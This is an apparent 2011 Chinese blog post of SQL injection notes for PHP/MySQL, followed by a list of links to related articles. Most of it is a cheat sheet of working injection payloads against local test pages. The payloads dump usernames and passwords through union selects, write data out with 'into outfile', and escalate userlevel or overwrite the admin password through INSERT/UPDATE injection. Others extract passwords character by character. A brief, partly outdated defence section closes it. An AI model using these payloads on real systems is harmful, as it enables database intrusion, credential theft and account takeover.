PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
无数据库的详细域名查询程序PHP版(1)
Oct 09 PHP
php heredoc和phpwind的模板技术使用方法小结
Mar 28 PHP
判断PHP数组是否为空的代码
Sep 08 PHP
PHP实现克鲁斯卡尔算法实例解析
Aug 22 PHP
php找出指定范围内回文数且平方根也是回文数的方法
Mar 23 PHP
php为字符串前后添加指定数量字符的方法
May 04 PHP
php判断用户是否手机访问代码
Jun 08 PHP
php使用Session和文件统计在线人数
Jul 04 PHP
PHP微信开发用Cache 解决数据缓存
Jul 11 PHP
PHP设置Cookie的HTTPONLY属性方法
Feb 09 PHP
postman的安装与使用方法(模拟Get和Post请求)
Aug 06 PHP
PHP快速导出百万级数据到CSV或者EXCEL文件
Nov 27 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
浅谈php提交form表单
2015/07/01 PHP
使用PHP实现下载CSS文件中的图片
2015/12/06 PHP
php实现微信模拟登陆、获取用户列表及群发消息功能示例
2017/06/28 PHP
CakePHP框架Model关联对象用法分析
2017/08/04 PHP
Jquery 设置标题的自动翻转
2009/10/03 Javascript
IE6下JS动态设置图片src地址问题
2010/01/08 Javascript
node.js中使用node-schedule实现定时任务实例
2014/06/03 Javascript
js闭包实现按秒计数
2015/04/23 Javascript
学习JavaScript设计模式(继承)
2015/11/26 Javascript
JS Array创建及concat()split()slice()的使用方法
2016/06/03 Javascript
快速掌握jquery分页插件jqPaginator的使用方法
2017/08/09 jQuery
node+koa2+mysql+bootstrap搭建一个前端论坛
2018/05/06 Javascript
layUI使用layer.open,在content打开数据表格,获取值并返回的方法
2019/09/26 Javascript
浅谈vue异步数据影响页面渲染
2019/10/29 Javascript
微信小程序实现点击按钮后修改颜色
2019/12/05 Javascript
vue 组件间的通信之子组件向父组件传值的方式
2020/07/29 Javascript
vue addRoutes路由动态加载操作
2020/08/04 Javascript
vue中实现点击空白区域关闭弹窗的两种方法
2020/12/30 Vue.js
python通过shutil实现快速文件复制的方法
2015/03/14 Python
python使用正则表达式分析网页中的图片并进行替换的方法
2015/03/26 Python
利用Python演示数型数据结构的教程
2015/04/03 Python
Pycharm 创建 Django admin 用户名和密码的实例
2018/05/30 Python
创建Django项目图文实例详解
2019/06/06 Python
Python爬虫运用正则表达式的方法和优缺点
2019/08/25 Python
pytorch 实现cross entropy损失函数计算方式
2020/01/02 Python
flask框架自定义url转换器操作详解
2020/01/25 Python
在 Python 中接管键盘中断信号的实现方法
2020/02/04 Python
解决tensorflow打印tensor有省略号的问题
2020/02/04 Python
vscode写python时的代码错误提醒和自动格式化的方法
2020/05/07 Python
在校生党员自我评价
2013/09/25 职场文书
留学推荐信写作指南
2014/01/25 职场文书
承诺保证书格式
2015/02/28 职场文书
培养联系人考察意见
2015/06/01 职场文书
员工试用期工作总结
2019/06/20 职场文书
职业生涯规划书之大学四年
2019/08/07 职场文书
Python获取江苏疫情实时数据及爬虫分析
2021/08/02 Python